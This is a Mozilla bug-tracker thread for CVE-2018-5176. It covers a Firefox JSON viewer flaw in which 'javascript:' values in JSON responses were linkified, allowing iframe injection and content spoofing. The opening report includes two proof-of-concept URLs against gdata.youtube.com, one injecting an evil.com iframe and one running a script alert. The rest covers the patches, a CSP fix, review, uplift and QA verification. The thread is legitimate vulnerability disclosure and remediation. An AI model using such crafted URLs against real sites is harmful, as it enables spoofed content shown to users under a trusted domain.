1442840 - (CVE-2018-5176) Iframe injection & content spoofing & scripts execution via json viewer

Status: VERIFIED FIXED

(DevTools :: JSON Viewer, defect)

Description

[Tadj Youssouf]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Build ID: 20180206200532

Steps to reproduce:

Hello  , 

When we have a response of json with a parameter that a client can edit we can spoof the content wyciwyg using ("javascript:)
Example in gdata.youtube.com

Just visit the link below and click in javascript :
https://gdata.youtube.com/feeds/api/videos?format=5&max-results=8&v=%22JUST---CLICK-HERE--%3E%22javascript:document.write(/%3Ciframe%2520src=http:evil.com%3E/)&alt=jsonc
Or 

https://gdata.youtube.com/feeds/api/videos?format=5&max-results=8&v=%22javascript:document.write(%2527%3Cscript%3Ealert(document.location)%3C/script%3E%2527)&alt=jsonc

We can see that we have a frame of evil.com in gdata.youtube.com we can also execute a scripts using the same method .

The frame is injected in view-source:wyciwyg://99/https://gdata.youtube.com......

Comment 1

[Tadj Youssouf]

Attachment: PoC.png

Comment 2

[:Gijs (he/him)]

Honza, can you take a look? I don't think the JSON viewer should be linkifying 'javascript:' links, and we should probably prevent any loads that inherit principals...

Christoph, could we enforce some of that with CSP in addition to any filtering we do?

Comment 3

[Daniel Veditz [:dveditz]]

Calling it "moderate" because of the interaction required and it wouldn't apply to all sites, but this is Not Good.

Comment 4

[:Gijs (he/him)]

FWIW, :bgrins points out this is mitigated by the fact that the json viewer gets a null principal. Still not good, but you can't run script on the domain in question, "just" in a page that has all the UI security markings as if it came from the domain in question. This is relevant because it means you can't e.g. directly steal cookies or otherwise *actually* XSS things (other than whatever is in the JSON document itself).

Comment 5

[:Gijs (he/him)]

Attachment: Patch v1

Per discussion on IRC, this fixes this particular attack vector. It's not very pretty, but it'll do for now. When we move 'reps' into the main repo we can work on a prettier fix (we should allow filtering links, and just mark them as `_blank`).

Comment 6

[:Gijs (he/him)]

Attachment: CSP patch v1

I think the JSON viewer should just be assertive and override any extant CSP. This patch seems to do that as far as I can tell.

Comment 7

[Brian Grinstead [:bgrins]]

Comment on attachment 8957304 [details] [diff] [review]
Patch v1

Review of attachment 8957304 [details] [diff] [review]:
-----------------------------------------------------------------

This looks good to me thanks, please just add a commit message :). Let's track removing the "omitLinkHref" feature and moving the protocol-checking logic into Reps separately so we can land this simple fix and not have to track bundle uplifts.

Comment 8

[Brian Grinstead [:bgrins]]

(In reply to Brian Grinstead [:bgrins] from comment #7)
> Comment on attachment 8957304 [details] [diff] [review]
> Patch v1
> 
> Review of attachment 8957304 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> This looks good to me thanks, please just add a commit message :). Let's
> track removing the "omitLinkHref" feature and moving the protocol-checking
> logic into Reps separately so we can land this simple fix and not have to
> track bundle uplifts.

We can wait for this to land before doing the work in Reps but ni? Nicolas so we don't lose track of this.

Comment 9

[:Gijs (he/him)]

(In reply to Brian Grinstead [:bgrins] from comment #7)
> This looks good to me thanks, please just add a commit message :).

I never include commit messages in security bug landings, even if they're not rated sec-high/crit (see https://wiki.mozilla.org/Security/Bug_Approval_Process#Patches_and_Commits ). I could add one if you feel very strongly I should? :-)

Comment 10

[Brian Grinstead [:bgrins]]

(In reply to :Gijs (under the weather; responses will be slow) from comment #9)
> (In reply to Brian Grinstead [:bgrins] from comment #7)
> > This looks good to me thanks, please just add a commit message :).
> 
> I never include commit messages in security bug landings, even if they're
> not rated sec-high/crit (see
> https://wiki.mozilla.org/Security/Bug_Approval_Process#Patches_and_Commits
> ). I could add one if you feel very strongly I should? :-)

No, I just didn't realize that was the policy.

Comment 11

[Tadj Youssouf]

Hello ,
Can I know if this bug is eligible for bounty ? 
Thanks in advance

Comment 12

[Nicolas Chevobbe [:nchevobbe][PTO - back on Monday May 13th]]

(In reply to Brian Grinstead [:bgrins] from comment #8)
> (In reply to Brian Grinstead [:bgrins] from comment #7)
> > Comment on attachment 8957304 [details] [diff] [review]
> > Patch v1
> > 
> > Review of attachment 8957304 [details] [diff] [review]:
> > -----------------------------------------------------------------
> > 
> > This looks good to me thanks, please just add a commit message :). Let's
> > track removing the "omitLinkHref" feature and moving the protocol-checking
> > logic into Reps separately so we can land this simple fix and not have to
> > track bundle uplifts.
> 
> We can wait for this to land before doing the work in Reps but ni? Nicolas
> so we don't lose track of this.

Doing it right now

Comment 13

[Nicolas Chevobbe [:nchevobbe][PTO - back on Monday May 13th]]

PR for the Reps side https://github.com/devtools-html/devtools-core/pull/989#pullrequestreview-102558832

Comment 14

[Christoph Kerschbaumer [:ckerschb]]

Comment on attachment 8957306 [details] [diff] [review]
CSP patch v1

Review of attachment 8957306 [details] [diff] [review]:
-----------------------------------------------------------------

::: devtools/client/jsonview/converter-child.js
@@ +85,5 @@
> +    // Enforce strict CSP:
> +    try {
> +      request.QueryInterface(Ci.nsIHttpChannel);
> +      request.setResponseHeader("Content-Security-Policy",
> +        "default-src 'none' ; script-src resource:; ", false);

Does SetResponseHeader overwrite any existing CSP in that case? Or does it add a second CSP? If it does the latter, then don't we end up with the same problem that any existing page CSP is applied here?

Comment 15

[Christoph Kerschbaumer [:ckerschb]]

Gijs, see previous comment please.

Comment 16

[Nicolas Chevobbe [:nchevobbe][PTO - back on Monday May 13th]]

For the record, if we'd want to uplift a fix in Reps for this bug, we could strip the "javascript" element in https://searchfox.org/mozilla-central/rev/588d8120aa11738657da93e09a03378bcd1ba8ec/devtools/client/shared/components/reps/reps.js#88 , without having to try to uplift a whole new reps bundle (which would have many unrelated changes)

Comment 17

[:Gijs (he/him)]

(In reply to Christoph Kerschbaumer [:ckerschb] from comment #14)
> Comment on attachment 8957306 [details] [diff] [review]
> CSP patch v1
> 
> Review of attachment 8957306 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> ::: devtools/client/jsonview/converter-child.js
> @@ +85,5 @@
> > +    // Enforce strict CSP:
> > +    try {
> > +      request.QueryInterface(Ci.nsIHttpChannel);
> > +      request.setResponseHeader("Content-Security-Policy",
> > +        "default-src 'none' ; script-src resource:; ", false);
> 
> Does SetResponseHeader overwrite any existing CSP in that case?

I believe it will overwrite any existing header by that name, yes... but really, I would have thought you would be more sure than me! Is there someone else who knows the intricacies of the httpchannel headers in this case better, that we should ask for review?

My understanding is that the header will be overwritten (much like the contentType and other aspects of the response are being overridden in the same function) and the JSON can't really have a <meta> tag for the CSP (it's JSON, not HTML), and even if there were some way of botching it into the 'html' that the JSON viewer makes for it, presumably the header would take precedence over the meta tag, so we should only end up with the CSP we're setting in this line in the patch, never whatever the website serves. I would like to test this but I haven't seen a way to read the contents of the CSP from (privileged) JS to verify what is happening e.g. on AMO (which serves CSP, e.g. https://addons.mozilla.org/api/v3/addons/addon/[e-mail]/feature_compatibility/ ) .

Comment 18

[Christoph Kerschbaumer [:ckerschb]]

Comment on attachment 8957306 [details] [diff] [review]
CSP patch v1

Review of attachment 8957306 [details] [diff] [review]:
-----------------------------------------------------------------

I am fine with the approach here, but I am not sure that SetResponseHeader() overwrites any existing CSP. Honza, can you confirm?

Comment 19

[Brian Grinstead [:bgrins]]

(In reply to Nicolas Chevobbe [:nchevobbe] from comment #16)
> For the record, if we'd want to uplift a fix in Reps for this bug, we could
> strip the "javascript" element in
> https://searchfox.org/mozilla-central/rev/
> 588d8120aa11738657da93e09a03378bcd1ba8ec/devtools/client/shared/components/
> reps/reps.js#88 , without having to try to uplift a whole new reps bundle
> (which would have many unrelated changes)

I don't think we'll need to uplift the Reps bundle since JSON view is the only place we allowed it to print an href and any other consumers open urls in new tabs.

Comment 20

[Honza Bambas (:mayhemer)]

Comment on attachment 8957306 [details] [diff] [review]
CSP patch v1

Review of attachment 8957306 [details] [diff] [review]:
-----------------------------------------------------------------

wrong honza

Comment 21

[Jan Honza Odvarko [:Honza] (always need-info? me)]

Comment on attachment 8957306 [details] [diff] [review]
CSP patch v1

Review of attachment 8957306 [details] [diff] [review]:
-----------------------------------------------------------------

> I am fine with the approach here, but I am not sure that SetResponseHeader()
> overwrites any existing CSP. Honza, can you confirm?
I don't have enough expertise to confirm.

Honza

Comment 22

[:Gijs (he/him)]

(In reply to Jan Honza Odvarko [:Honza] from comment #21)
> Comment on attachment 8957306 [details] [diff] [review]
> CSP patch v1
> 
> Review of attachment 8957306 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> > I am fine with the approach here, but I am not sure that SetResponseHeader()
> > overwrites any existing CSP. Honza, can you confirm?
> I don't have enough expertise to confirm.
> 
> Honza

Christoph, do you know anyone else who might know (did you really mean the other Honza all along, given the question)? :-)

Comment 23

[Christoph Kerschbaumer [:ckerschb]]

I pinged Honza (mayhemer) on IRC; he accidentally redirected to the other Honza ;-) He will take another look.

Comment 24

[Honza Bambas (:mayhemer)]

(In reply to Christoph Kerschbaumer [:ckerschb] from comment #18)
> Comment on attachment 8957306 [details] [diff] [review]
> CSP patch v1
> 
> Review of attachment 8957306 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> I am fine with the approach here, but I am not sure that SetResponseHeader()
> overwrites any existing CSP. Honza, can you confirm?

What I see in the patch (setResponseHeader("Content-Security-Policy", "something", false)) will definitely OVERWRITE the header value kept by the channel (the 3rd arg = false, aka "don't merge").

And according how we are processing CSP:

>	xul.dll!nsIDocument::InitCSP(0x000001d481797078) Line 2933	C++
 	xul.dll!nsDocument::StartDocumentLoad(0x00007ffaf9b0a538, 0x000001d481797078, 0x000001d4f3c24bd0, 0x000001d4f3c3c1a0, 0x000001d4ff908fc8, true, 0x0000000000000000) Line 2832	C++
 	xul.dll!nsHTMLDocument::StartDocumentLoad(0x00007ffaf9b0a538, 0x000001d481797078, 0x000001d4f3c24bd0, 0x000001d4f3c3c1a0, 0x000001d4ff908fc8, true, 0x0000000000000000) Line 576	C++
 	xul.dll!nsContentDLF::CreateDocument(0x00007ffaf9b0a538, 0x000001d481797078, 0x000001d4f3c24bd0, 0x000001d4f3c3c1a0, {...}, 0x000001d4ff908fc8, 0x0000003b0e3f9330) Line 364	C++
 	xul.dll!nsContentDLF::CreateInstance(0x00007ffaf9b0a538, 0x000001d481797078, 0x000001d4f3c24bd0, {...}, 0x000001d4f3c3c1a0, 0x0000000000000000, 0x000001d4ff908fc8, 0x0000003b0e3f9330) Line 186	C++
 	xul.dll!nsDocShell::NewContentViewerObj({...}, 0x000001d481797078, 0x000001d4f3c24bd0, 0x000001d4ff908fc8, 0x0000003b0e3f9330) Line 8971	C++
 	xul.dll!nsDocShell::CreateContentViewer({...}, 0x000001d481797078, 0x000001d4ff908fc8) Line 8760	C++
 	xul.dll!nsDSURIContentListener::DoContent({...}, true, 0x000001d481797078, 0x000001d4ff908fc8, 0x0000003b0e3f9611) Line 196	C++
 	xul.dll!nsDocumentOpenInfo::TryContentListener(0x000001d4f63f8040, 0x000001d481797078) Line 766	C++
 	xul.dll!nsDocumentOpenInfo::DispatchContent(0x000001d481797078, 0x0000000000000000) Line 435	C++
 	xul.dll!nsDocumentOpenInfo::OnStartRequest(0x000001d481797078, 0x0000000000000000) Line 313	C++
 	xul.dll!mozilla::net::HttpChannelChild::DoOnStartRequest(0x000001d481797078, 0x0000000000000000) Line 759	C++
 	xul.dll!mozilla::net::HttpChannelChild::OnStartRequest(NS_OK, {...}, true, {...}, {...}, false, true, 0, 1, 0, {...}, {...}, {...}, {...}, 0, {...}, 0, {...}, true) Line 681	C++


This is fine, if called before the target consumer's onStartRequest.

The converter will stand between the HttpChannelChild and nsDocumentOpenInfo: HttpChannelChild::OnStartRequest -> converter-child.js!Converter.onStartRequest -> nsDocumentOpenInfo::OnStartRequest.

hence, this is the right place and way to update the CSP header.

Comment 25

[:Gijs (he/him)]

Looks like bug 1440388 somewhat-but-not-entirely-accidentally partially fixed this? It removed the `omitLinkHref` parameter, but it hasn't removed linkification for javascript: URLs...

I'll land the r+'d bits on top of those changes, I guess, as they do still clamp things down a bit further.

Comment 26

[:Gijs (he/him)]

remote:   https://hg.mozilla.org/integration/mozilla-inbound/rev/0557163910b35b3acbf667b3b21d0dfaf2cefe51
remote:   https://hg.mozilla.org/integration/mozilla-inbound/rev/38f15c3991f94aa9b3cd37a7e50654f5c2dd0185

Comment 27

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/0557163910b3
https://hg.mozilla.org/mozilla-central/rev/38f15c3991f9

Comment 28

[:Gijs (he/him)]

Comment on attachment 8957304 [details] [diff] [review]
Patch v1

Approval Request Comment
[Feature/Bug causing the regression]: security issue
[User impact if declined]: security issue
[Is this code covered by automated tests?]: the json viewer is, yes. There aren't specific tests for the bug that this is fixing, though.
[Has the fix been verified in Nightly?]: not yet
[Needs manual test from QE? If yes, steps to reproduce]: see comment #0
[List of other uplifts needed for the feature/fix]: n/a
[Is the change risky?]: no
[Why is the change risky/not risky?]: small changes to how the json viewer handles links, and adding some CSP. JSON viewer won't be used by most users anyway. Still considerable beta runway left
[String changes made/needed]: none

This is a request to uplift *both* patches.

Comment 29

[:Gijs (he/him)]

Comment on attachment 8957306 [details] [diff] [review]
CSP patch v1

Approval Request is in Comment 28

Comment 30

[Tadj Youssouf]

 Can I know if this bug is eligible for bounty ?

Comment 31

[:Gijs (he/him)]

(In reply to Tadj Youssouf from comment #30)
>  Can I know if this bug is eligible for bounty ?

I don't make bounty decisions, and know almost nothing about our bounty program. https://www.mozilla.org/en-US/security/client-bug-bounty/ has details, including instructions on how to apply (at the bottom). Per that list, I expect what you need to do is send an email to [e-mail] with the bug number (but not details of the actual security issue) and ask to have it be considered for a bounty.

Comment 32

[Nicolas Chevobbe [:nchevobbe][PTO - back on Monday May 13th]]

(In reply to :Gijs from comment #25)
> Looks like bug 1440388 somewhat-but-not-entirely-accidentally partially
> fixed this? It removed the `omitLinkHref` parameter, but it hasn't removed
> linkification for javascript: URLs...
> 
> I'll land the r+'d bits on top of those changes, I guess, as they do still
> clamp things down a bit further.

It is intentional, and `javascript:` urls should not be linkified anymore. Did you encounter a case where it was ? Cases from Comment 0 aren't

Comment 33

[:Gijs (he/him)]

(In reply to Nicolas Chevobbe [:nchevobbe] from comment #32)
> (In reply to :Gijs from comment #25)
> > Looks like bug 1440388 somewhat-but-not-entirely-accidentally partially
> > fixed this? It removed the `omitLinkHref` parameter, but it hasn't removed
> > linkification for javascript: URLs...
> > 
> > I'll land the r+'d bits on top of those changes, I guess, as they do still
> > clamp things down a bit further.
> 
> It is intentional, and `javascript:` urls should not be linkified anymore.
> Did you encounter a case where it was ? Cases from Comment 0 aren't

Sorry, I judged based on being able to find such a change in the reps update mozreview, but I clearly either didn't look carefully or looked at the wrong cset or something. If we've stopped linkifying javascript: URLs that is a Good Thing. :-)

Comment 34

[Nicolas Chevobbe [:nchevobbe][PTO - back on Monday May 13th]]

(In reply to :Gijs from comment #33)
> (In reply to Nicolas Chevobbe [:nchevobbe] from comment #32)
> > (In reply to :Gijs from comment #25)
> > > Looks like bug 1440388 somewhat-but-not-entirely-accidentally partially
> > > fixed this? It removed the `omitLinkHref` parameter, but it hasn't removed
> > > linkification for javascript: URLs...
> > > 
> > > I'll land the r+'d bits on top of those changes, I guess, as they do still
> > > clamp things down a bit further.
> > 
> > It is intentional, and `javascript:` urls should not be linkified anymore.
> > Did you encounter a case where it was ? Cases from Comment 0 aren't
> 
> Sorry, I judged based on being able to find such a change in the reps update
> mozreview, but I clearly either didn't look carefully or looked at the wrong
> cset or something. If we've stopped linkifying javascript: URLs that is a
> Good Thing. :-)

No worries, here's the change: https://hg.mozilla.org/mozilla-central/rev/aa46f0522cfd#l3.51

Comment 35

[Julien Cristau [:jcristau]]

Comment on attachment 8957304 [details] [diff] [review]
Patch v1

json viewer sec fix, beta60+

Comment 36

[Ryan VanderMeulen [:RyanVM]]

Needs a rebased patch for Beta uplift, or approval requests on dependent bugs.

Comment 40

[:Gijs (he/him)]

(In reply to Ryan VanderMeulen [:RyanVM] from comment #36)
> Needs a rebased patch for Beta uplift, or approval requests on dependent
> bugs.

FWIW, the attached patches apply cleanly for me - just not the patch as-landed-on-m-c, see comment #25.

remote:   https://hg.mozilla.org/releases/mozilla-beta/rev/f1238ac69cfd801abc49b7b0db7ef9a6ee48ecdd
remote:   https://hg.mozilla.org/releases/mozilla-beta/rev/72465600d1f27690cbf3a73bacba075d88cf97ef

Comment 41

[Julien Cristau [:jcristau]]

Backed out for devtools failures
Backout: https://hg.mozilla.org/releases/mozilla-beta/rev/357a7ece1bc2777de4e3f56d60df4a0ab589eada
failure log: https://treeherder.mozilla.org/logviewer.html#?job_id=170184738&repo=mozilla-beta&lineNumber=2756
push with failures: https://treeherder.mozilla.org/#/jobs?repo=mozilla-beta&filter-resultStatus=testfailed&filter-resultStatus=busted&filter-resultStatus=exception&filter-searchStr=devtools&fromchange=72465600d1f27690cbf3a73bacba075d88cf97ef&tochange=357a7ece1bc2777de4e3f56d60df4a0ab589eada

Comment 42

[:Gijs (he/him)]

Apologies, I missed the test because it was altered by bug 1440388 and I didn't see that when this landed on nightly, so was oblivious to there being a test. Per a quick discussion with :nchevobbe, I just uplifted the test change as well.

remote:   https://hg.mozilla.org/releases/mozilla-beta/rev/8d789986907596c226fc78a04a71852e13efc665
remote:   https://hg.mozilla.org/releases/mozilla-beta/rev/7b163623e961117d5ba5bfccb837b5be1dbcb30d
remote:   https://hg.mozilla.org/releases/mozilla-beta/rev/225edeab2594a34028bce2e808c1412de1f0a711

Comment 43

[Oana Botisan, Desktop QA]

I managed to reproduce the issue using an older version of Nightly (2018-03-02) on Windows 10 x64.

I retested everything using the latest Nightly 61.0a1 on Windows 10 x64, Ubuntu 16.04 x64 and macOS 10.13. The bug is not reproducing anymore.

On the other hand when I verified on beta 60.0b8 using the same platforms, I've notice that when "javascript:document:..." is hovered the text is still being underlined (just as a link would behave), but it doesn't access anything.

Comment 44

[:Gijs (he/him)]

(In reply to Oana Botisan from comment #43)
> On the other hand when I verified on beta 60.0b8 using the same platforms,
> I've notice that when "javascript:document:..." is hovered the text is still
> being underlined (just as a link would behave), but it doesn't access
> anything.

Yeah, this is expected given the fix we landed on beta. Thanks for checking!

Comment 45

[Oana Botisan, Desktop QA]

Considering the information from comment 43 and comment 44 I will mark this bug as verified fixed.